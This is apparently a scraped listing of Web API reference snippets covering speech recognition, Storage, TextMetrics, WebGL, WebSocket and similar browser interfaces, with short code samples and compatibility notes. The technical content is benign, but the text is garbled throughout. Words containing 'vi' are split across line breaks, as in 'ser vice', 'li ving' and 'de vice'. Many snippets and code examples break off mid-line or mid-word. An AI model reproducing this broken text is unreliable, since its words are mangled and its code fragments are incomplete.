vice has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
... bubbles no cancelable no interface event event handler property onstart examples you can use the start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition ser
vice has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition ser
vice has started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.stop() - Web APIs
the stop() method of the web speech api stops the speech recognition ser
vice from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to recei...
SpeechRecognitionAlternative - Web APIs
the speechrecognitionalternative interface of the web speech api represents a single word that has been recognised by the speech recognition ser
vice.
... // each speechrecognitionresult object contains speechrecognitionalternative objects that contain indi
vidual results.
SpeechRecognitionResult.item() - Web APIs
the item getter of the speechrecognitionresult interface is a standard getter that allows speechrecognitionalternative objects within the result to be accessed
via array syntax.
... // each speechrecognitionresult object contains speechrecognitionalternative objects that contain indi
vidual results.
SpeechRecognitionResult - Web APIs
speechrecognitionresult.length read only returns the length of the "array" — the number of speechrecognitionalternative objects contained in the result (also referred to as "n-best alternatives".) methods speechrecognitionresult.item a standard getter that allows speechrecognitionalternative objects within the result to be accessed
via array syntax.
... // each speechrecognitionresult object contains speechrecognitionalternative objects that contain indi
vidual results.
SpeechRecognitionResultList.item() - Web APIs
the item getter of the speechrecognitionresultlist interface is a standard getter — it allows speechrecognitionresult objects in the list to be accessed
via array syntax.
... // each speechrecognitionresult object contains speechrecognitionalternative objects that contain indi
vidual results.
SpeechRecognitionResultList - Web APIs
methods speechrecognitionresultlist.item a standard getter that allows speechrecognitionresult objects in the list to be accessed
via array syntax.
... // each speechrecognitionresult object contains speechrecognitionalternative objects that contain indi
vidual results.
StereoPannerNode.StereoPannerNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstereopannernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox ...
... full support 53ie no support noopera full support 42safari no support noweb
view android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support ...
StereoPannerNode - Web APIs
this interface was introduced as a much simpler way to apply a simple panning effect than ha
ving to use a full pannernode.
... mo
ving the slider left and right while the music is playing pans the music across to the left and right speakers of the output, respectively.
Storage.clear() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'storage.clear' in that specification.
... li
ving standard ...
Storage.getItem() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'storage.getitem' in that specification.
... li
ving standard ...
Storage.key() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'storage.key' in that specification.
... li
ving standard ...
Storage.length - Web APIs
specifications specification status comment html li
ving standardthe definition of 'storage.length' in that specification.
... li
ving standard ...
Storage.setItem() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'storage.setitem' in that specification.
... li
ving standard ...
StorageEstimate.usage - Web APIs
</label> javascript content na
vigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification.
... li
ving standard initial definition ...
StorageQuota - Web APIs
the storagequota property of the na
vigator interface of the quota management api pro
vides means to query and request storage usage and quota information.
... you can get a reference to this interface using na
vigator.storagequota.
StylePropertyMap - Web APIs
the stylepropertymap interface of the the css typed object model api pro
vides a representation of a css declaration block that is an alternative to cssstyledeclaration.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/stylepropertymap" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">stylepropertymap</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, stylepropertymapreadonly.
SubmitEvent() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'submitevent()' in that specification.
... li
ving standard ...
SubmitEvent.submitter - Web APIs
specifications specification status comment html li
ving standardthe definition of 'submitevent.submitter' in that specification.
... li
ving standard ...
SubmitEvent - Web APIs
specifications specification status comment html li
ving standardthe definition of 'submitevent' in that specification.
... li
ving standard ...
SubtleCrypto.sign() - Web APIs
data is an arraybuffer or arraybuffer
view object containing the data to be signed.
... supported algorithms the web crypto api pro
vides four algorithms that can be used for signing and signature verification.
SyncEvent - Web APIs
the syncevent interface represents a sync action that is dispatched on the ser
viceworkerglobalscope of a ser
viceworker.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" strok...
SyncManager.register() - Web APIs
the available options are: allowonbattery: a boolean that determines whether synchronization is allowed when the user agent is on a battery-powered de
vice.
... idlerequired: a boolean that determines whether synchronization is allowed when the user agent's de
vice is idle.
SyncManager - Web APIs
the syncmanager interface of the the ser
viceworker api pro
vides an interface for registering and listing sync registrations.
... li
ving standard initial definition.
Text - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... li
ving standard removed the iselementcontentwhitespace property.
TextDecoder() - Web APIs
iso_8859-6", "iso_8859-6:1987" 'iso-8859-6' "csisolatingreek", "ecma-118", "elot_928", "greek", "greek8", "iso-8859-7", "iso-ir-126", "iso8859-7", "iso88597", "iso_8859-7", "iso_8859-7:1987", "sun_eu_greek" 'iso-8859-7' "csiso88598e", "csisolatinhebrew", "hebrew", "iso-8859-8", "iso-8859-8-e", "iso-ir-138", "iso8859-8", "iso88598", "iso_8859-8", "iso_8859-8:1988", "
visual" 'iso-8859-8' "csiso88598i", "iso-8859-8-i", "logical" 'iso-8859-8i' "csisolatin6", "iso-8859-10", "iso-ir-157", "iso8859-10", "iso885910", "l6", "latin6" 'iso-8859-10' "iso-8859-13", "iso8859-13", "iso885913" 'iso-8859-13' "iso-8859-14", "iso8859-14", "iso885914" 'iso-8859-14' "csisolatin9", "iso-8859-15", "iso88...
... li
ving standard initial definition.
TextDecoder.prototype.decode() - Web APIs
syntax b1 = decoder.decode(buffer, options); b2 = decoder.decode(buffer); b3 = decoder.decode(); parameters buffer optional is either an arraybuffer or an arraybuffer
view containing the text to decode.
... li
ving standard initial definition.
TextEncoder - Web APIs
example const encoder = new textencoder() const
view = encoder.encode('€') console.log(
view); // uint8array(3) [226, 130, 172] constructor textencoder() returns a newly constructed textencoder that will generate a byte stream with utf-8 encoding.
... li
ving standard initial definition.
TextMetrics.actualBoundingBoxAscent - Web APIs
the read-only actualboundingboxascent property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the top of the bounding rectangle used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxascent; // 8; specifications specification html li
ving standardthe definition of 'textmetrics.actualboundingboxascent' in that specification.
TextMetrics.actualBoundingBoxDescent - Web APIs
the read-only actualboundingboxdescent property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the bottom of the bounding rectangle used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxdescent; // 0; specifications specification html li
ving standardthe definition of 'textmetrics.actualboundingboxdescent' in that specification.
TextMetrics.actualBoundingBoxLeft - Web APIs
the read-only actualboundingboxleft property of the textmetrics interface is a double gi
ving the distance parallel to the baseline from the alignment point given by the canvasrenderingcontext2d.textalign property to the left side of the bounding rectangle of the given text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxleft; // 0; specifications specification html li
ving standardthe definition of 'textmetrics.actualboundingboxleft' in that specification.
TextMetrics.actualBoundingBoxRight - Web APIs
the read-only actualboundingboxright property of the textmetrics interface is a double gi
ving the distance parallel to the baseline from the alignment point given by the canvasrenderingcontext2d.textalign property to the right side of the bounding rectangle of the given text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxright; // 15.633333333333333; specifications specification html li
ving standardthe definition of 'textmetrics.actualboundingboxright' in that specification.
TextMetrics.alphabeticBaseline - Web APIs
the read-only alphabeticbaseline property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the alphabetic baseline of the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.alphabeticbaseline; // -0; specifications specification html li
ving standardthe definition of 'textmetrics.alphabeticbaseline' in that specification.
TextMetrics.emHeightAscent - Web APIs
the read-only emheightascent property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the top of the em square in the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.emheightascent; // 7.59765625; specifications specification html li
ving standardthe definition of 'textmetrics.emheightascent' in that specification.
TextMetrics.emHeightDescent - Web APIs
the read-only emheightdescent property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the bottom of the em square in the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.emheightdescent; // -2.40234375; specifications specification html li
ving standardthe definition of 'textmetrics.emheightdescent' in that specification.
TextMetrics.fontBoundingBoxAscent - Web APIs
the read-only fontboundingboxascent property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the top of the highest bounding rectangle of all the fonts used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.fontboundingboxascent; // 10; specifications specification html li
ving standardthe definition of 'textmetrics.fontboundingboxascent' in that specification.
TextMetrics.fontBoundingBoxDescent - Web APIs
the read-only fontboundingboxdescent property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the bottom of the bounding rectangle of all the fonts used to render the text, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.fontboundingboxdescent; // 3; specifications specification html li
ving standardthe definition of 'textmetrics.fontboundingboxdescent' in that specification.
TextMetrics.hangingBaseline - Web APIs
the read-only hangingbaseline property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the hanging baseline of the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.hangingbaseline; // 6.078125; specifications specification html li
ving standardthe definition of 'textmetrics.hangingbaseline' in that specification.
TextMetrics.ideographicBaseline - Web APIs
the read-only ideographicbaseline property of the textmetrics interface is a double gi
ving the distance from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline property to the ideographic baseline of the line box, in css pixels.
... examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.ideographicbaseline; // -1.201171875; specifications specification html li
ving standardthe definition of 'textmetrics.ideographicbaseline' in that specification.
TextTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const mediaelement = document.queryselector('
video, audio'); mediaelement.texttracks.addeventlistener('addtrack', (event) => { console.log(`text track: ${event.track.label} added`); }); using the onaddtrack event handler property: const mediaelement = document.queryselector('
video, audio'); mediaelement.texttracks.onaddtrack = (event) => { console.log(`text track: ${event.track.label} added`); }; specifications specification status html li
ving standardthe definition of 'addtrack' in that specification.
... li
ving standard ...
TextTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const mediaelement = document.queryselectorall('
video, audio')[0]; mediaelement.texttracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); using the onchange event handler property: const mediaelement = document.queryselector('
video, audio'); mediaelement.texttracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; specifications specification status html li
ving standardthe definition of 'change' in that specification.
... li
ving standard ...
getTrackById() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'texttracklist.gettrackbyid()' in that specification.
... li
ving standard ...
TextTrackList: removeTrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const mediaelement = document.queryselector('
video, audio'); mediaelement.texttracks.addeventlistener('removetrack', (event) => { console.log(`text track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const mediaelement = document.queryselector('
video, audio'); mediaelement.texttracks.onremovetrack = (event) => { console.log(`text track: ${event.track.label} removed`); }; specifications specification status html li
ving standardthe definition of 'removetrack' in that specific...
... li
ving standard ...
Touch.target - Web APIs
when the touchstart event handler for this element is invoked, each touch point's touch.target property is accessed
via the event's touchevent.targettouches list.
... // register a touchmove listener for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchstart', function(e) { // iterate through the touch points that were acti
viated // for this element.
Supporting both TouchEvent and MouseEvent - Web APIs
the touch interfaces enable applications to create enhanced user experiences on touch enabled de
vices.
...e touchstart, touchmove or touchend event is canceled during an interaction, no mouse or click events will be fired, and the resulting sequence of events would just be: touchstart zero or more touchmove events, depending on movement of the finger(s) touchend community touch events community group mail list w3c #touchevents irc channel related topics and resources touch events over
view using touch events touch and mouse (together again for the first time) ...
Transferable - Web APIs
specifications specification status comment html li
ving standardthe definition of 'transferable' in that specification.
... li
ving standard replaced transferable interface with [transferable] web idl extended attribute.
TransformStream - Web APIs
async transform(chunk, controller) { chunk = await chunk switch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else if (arraybuffer.is
view(chunk)) controller.enqueue(new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(chunk) && chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack ...
... li
ving standard initial definition ...
TransitionEvent - Web APIs
the transitionevent interface represents events pro
viding information related to transitions.
... transitionevent.elapsedtime read only is a float gi
ving the amount of time the transition has been running, in seconds, when this event fired.
TreeWalker.firstChild() - Web APIs
the treewalker.firstchild() method moves the current node to the first
visible child of the current node, and returns the found child.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.firstchild' in that specification.
TreeWalker.nextNode() - Web APIs
the treewalker.nextnode() method moves the current node to the next
visible node in the document order, and returns the found node.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextnode' in that specification.
TreeWalker.parentNode() - Web APIs
the treewalker.parentnode() method moves the current node to the first
visible ancestor node in the document order, and returns the found node.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.parentnode' in that specification.
UIEvent.layerX - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlayerx non-standardchrome full support yesedge full support 12firefox full support yesie full support 9opera full suppo...
...rt yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full supportnon-standard.
URL.search - Web APIs
modern browsers pro
vide the url.searchparams property to make it easy to parse out the parameters from the query string.
... li
ving standard initial definition.
URL.search - Web APIs
modern browsers pro
vide the url.searchparams property to make it easy to parse out the parameters from the query string.
... li
ving standard initial definition.
URLSearchParams() - Web APIs
// retrieve params
via url.search, passed into ctor var url = new url('https://example.com?foo=1&bar=2'); var params = new urlsearchparams(url.search); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new ur...
... li
ving standard initial definition.
URLSearchParams.set() - Web APIs
you can copy and paste the example in a code en
vironment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox.
... li
ving standard initial definition.
URLSearchParams - Web APIs
urlsearchparams.foreach() allows iteration through all values contained in this object
via a callback function.
... li
ving standard initial definition.
USBConfiguration.USBConfiguration() - Web APIs
the usbconfiguration() constructor creates a new usbconfiguration object which contains information about the configuration on the pro
vided usbde
vice with the given configuration value.
... syntax var usbconfiguration = new usbconfiguration(de
vice, configurationvalue) parameters de
vice specifies the usbde
vice you want to configure.
UserProximityEvent - Web APIs
the userproximityevent indicates whether a nearby physical object is present by using the proximity sensor of a de
vice.
... properties userproximityevent.near indicates if the de
vice has sensed a nearby physical object.
WEBGL_compressed_texture_astc - Web APIs
for more information, see the article using astc texture compression for game assets by n
vidia.
... availability: astc compression is typically available on mali arm gpus, intel gpus, and ni
vidia tegra chips.
WEBGL_compressed_texture_atc - Web APIs
atc is a proprietary compression algorithm for compressing textures on handheld de
vices.
... availability: atc compression is typically available on mobile de
vices with adreno gpus, that are currently only built into qualcomm snapdragon de
vices.
WEBGL_debug_shaders - Web APIs
the webgl_debug_shaders extension is part of the webgl api and exposes a method to debug shaders from pri
vileged contexts.
... availability: depending on the privacy settings of the browser, this extension might only be available to pri
vileged contexts.
WakeLockSentinel.type - Web APIs
prevents de
vices from dimming or locking the screen.
... const requestwakelock = async () => { wakelock = await na
vigator.wakelock.request('screen'); console.log(wakelock.type); // logs 'screen' }; requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelocktype' in that specification.
WaveShaperNode.WaveShaperNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwaveshapernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ...
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
syntax // read from the buffer bound to gl.pixel_unpack_buffer void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, imagesize, offset); void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, arraybuffer
view srcdata, optional srcoffset, optional srclengthoverride); parameters target a glenum specifying the binding point (target) of the active texture.
... srcdata an arraybuffer
view that be used as a data store for the compressed image data in memory.
WebGL2RenderingContext.copyBufferSubData() - Web APIs
gl.copy_read_buffer: buffer for copying from one buffer object to another (pro
vided specifically for copy operations).
... gl.copy_write_buffer: buffer for copying from one buffer object to another (pro
vided specifically for copy operations).
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsamplerparameterichrome full support 56edge full support 79firefox full support 51ie no support noopera full support ...
... 43safari no support noweb
view android full support 58chrome android full support 58firefox android full support 51opera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no support ...
WebGL2RenderingContext - Web APIs
the webgl2renderingcontext interface pro
vides the opengl es 3.0 rendering context for the drawing surface of an html <canvas> element.
... drawing buffers webgl2renderingcontext.vertexattribdi
visor() modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with gl.drawarraysinstanced() and gl.drawelementsinstanced().
WebGLRenderingContext.bufferData() - Web APIs
srcdata, usage); void gl.bufferdata(target, arraybuffer
view srcdata, usage); // webgl2: void gl.bufferdata(target, arraybuffer
view srcdata, usage, srcoffset, length); parameters target a glenum specifying the binding point (target).
... srcdata optional an arraybuffer, sharedarraybuffer or one of the arraybuffer
view typed array types that will be copied into the data store.
WebGLRenderingContext.bufferSubData() - Web APIs
syntax // webgl1: void gl.buffersubdata(target, offset, arraybuffer srcdata); void gl.buffersubdata(target, offset, arraybuffer
view srcdata); // webgl2: void gl.buffersubdata(target, dstbyteoffset, arraybuffer
view srcdata, srcoffset, length); parameters target a glenum specifying the binding point (target).
... srcdata optional an arraybuffer, sharedarraybuffer or one of the arraybuffer
view typed array types that will be copied into the data store.
WebGLRenderingContext.commit() - Web APIs
// push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html li
ving standardthe definition of 'the commit() method of the offscreencanvas object's rendering context' in that specification.
... li
ving standard ...
WebGLRenderingContext.getExtension() - Web APIs
examples once a webgl extension is enabled, you are able to use the methods, properties or constants that this extension object pro
vides.
...y ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_mipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_texture_half_float oes_texture_half_float_linear oes_vertex_array_object ovr_multi
view2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specificatio...
WebGLRenderingContext.getVertexAttrib() - Web APIs
gl.vertex_attrib_array_di
visor: returns a glint describing the frequency di
visor used for instanced rendering.
... when using the angle_instanced_arrays extension: ext.vertex_attrib_array_di
visor_angle: returns a glint describing the frequency di
visor used for instanced rendering.
WebGLRenderingContext.stencilMask() - Web APIs
the webglrenderingcontext.stencilmask() method of the webgl api controls enabling and disabling of both the front and back writing of indi
vidual bits in the stencil planes.
... syntax void gl.stencilmask(mask); parameters mask a gluint specifying a bit mask to enable or disable writing of indi
vidual bits in the stencil planes.
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
the webglrenderingcontext.stencilmaskseparate() method of the webgl api controls enabling and disabling of front and/or back writing of indi
vidual bits in the stencil planes.
...the possible values are: gl.front gl.back gl.front_and_back mask a gluint specifying a bit mask to enable or disable writing of indi
vidual bits in the stencil planes.
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
for example, if you have a shader which has a color vertex attribute, but you want to draw everything in a single color, you can use vertexattrib to achieve that without creating a buffer filled with only one value or ha
ving to create a separate shader which uses a uniform for the color.
... examples const a_foobar = gl.getattriblocation(shaderprogram, 'foobar'); //either set each component indi
vidually: gl.vertexattrib3f(a_foobar, 10.0, 5.0, 2.0); //or pro
vide a float32array: const floatarray = new float32array([10.0, 5.0, 2.0]); gl.vertexattrib3fv(a_foobar, floatarray); // we want to load the following 3x3 matrix into attribute named "matrix3x3" // 0 1 2 // 3 4 5 // 6 7 8 const matrix3x3location = gl.getattriblocation(shaderprogram, 'matrix3x3'); gl.vertexattrib3f(matrix3x3location, ...
WebGL tutorial - Web APIs
the examples pro
vided should give you some clear ideas what you can do with webgl and will pro
vide code snippets that may get you started in building your own content.
... animating textures in webgl shows how to animate textures; in this case, by mapping an ogg
video onto the faces of a rotating cube.
WebSocket() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'the websocket constructor' in that specification.
... li
ving standard ...
WebSocket.binaryType - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: binarytype' in that specification.
... li
ving standard initial definition ...
WebSocket.bufferedAmount - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: bufferedamount' in that specification.
... li
ving standard initial definition ...
WebSocket.close() - Web APIs
specifications specification status comment html li
ving standard the definition of 'websocket.close()' in that specification.
... li
ving standard initial definition ...
WebSocket: close event - Web APIs
examplesocket.addeventlistener('close', (event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the event handler property, like this: examplesocket.onclose = function (event) { console.log('the connection has been closed successfully.'); }; specifications specification status html li
ving standardthe definition of 'websocket close' in that specification.
... li
ving standard ...
WebSocket: error event - Web APIs
o cancelable no interface event event handler property onerror examples // create websocket connection const socket = new websocket('ws://localhost:8080'); // listen for possible errors socket.addeventlistener('error', function (event) { console.log('websocket error: ', event); }); specifications specification status html li
ving standardthe definition of 'websocket error' in that specification.
... li
ving standard ...
WebSocket.extensions - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: extensions' in that specification.
... li
ving standard initial definition ...
WebSocket: message event - Web APIs
const socket = new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html li
ving standardthe definition of 'websocket message' in that specification.
... li
ving standard ...
WebSocket.onclose - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: onclose' in that specification.
... li
ving standard initial definition ...
WebSocket.onerror - Web APIs
example websocket.onerror = function(event) { console.error("websocket error observed:", event); }; specifications specification status comment html li
ving standardthe definition of 'websocket: onerror' in that specification.
... li
ving standard initial definition ...
WebSocket.onmessage - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: onmessage' in that specification.
... li
ving standard initial definition ...
WebSocket.onopen - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: onopen' in that specification.
... li
ving standard initial definition ...
WebSocket: open event - Web APIs
const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.send('hello server!'); }); specifications specification status html li
ving standardthe definition of 'websocket open' in that specification.
... li
ving standard ...
WebSocket.protocol - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: protocol' in that specification.
... li
ving standard initial definition ...
WebSocket.readyState - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: readystate' in that specification.
... li
ving standard initial definition ...
WebSocket.url - Web APIs
specifications specification status comment html li
ving standardthe definition of 'websocket: url' in that specification.
... li
ving standard initial definition ...
Writing a WebSocket server in C# - Web APIs
here's a barebones server implementation: using system.net.sockets; using system.net; using system; class server { public static void main() { tcplistener server = new tcplistener(ipaddress.parse("127.0.0.1"), 80); server.start(); console.writeline("server has started on 127.0.0.1:80.{0}waiting for a connection...", en
vironment.newline); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); } } tcpclient methods: system.net.sockets.networkstream getstream() gets the stream which is the communication channel.
...alternative solutions should be investigated for production en
vironments.
Web Animations API - Web APIs
concepts and usage the web animations api pro
vides a common language for browsers and developers to describe animations on dom elements.
... web animations interfaces animation pro
vides playback controls and a timeline for an animation node or source.
Controlling multiple parameters with ConstantSourceNode - Web APIs
gainnode1, gainnode2, and gainnode3 the three gainnode instances which pro
vide the volume levels for each of the three oscillators.
... while this is an extremely simple example, imagine ha
ving a 32 oscillator synthesizer with multiple linked parameters in play across a number of patched nodes.
Migrating from webkitAudioContext - Web APIs
this article attempts to summarize the areas where developers are likely to encounter these problems and pro
vide examples on how to port such code to standards based audiocontext, which will work across different browser engines.
...instead of ha
ving code like this: var source = context.createbuffersource(); source.looping = true; you can change it to respect the last version of the specification: var source = context.createbuffersource(); source.loop = true; note, the loopstart and loopend attributes are not supported in webkitaudiocontext.
Web Crypto API - Web APIs
warning: the web crypto api pro
vides a number of low-level cryptographic primitives.
... interfaces some browsers implemented an interface called crypto without ha
ving it well defined or being cryptographically sound.
WheelEvent - Web APIs
the wheelevent interface represents events that occur due to the user mo
ving a mouse wheel or similar input de
vice.
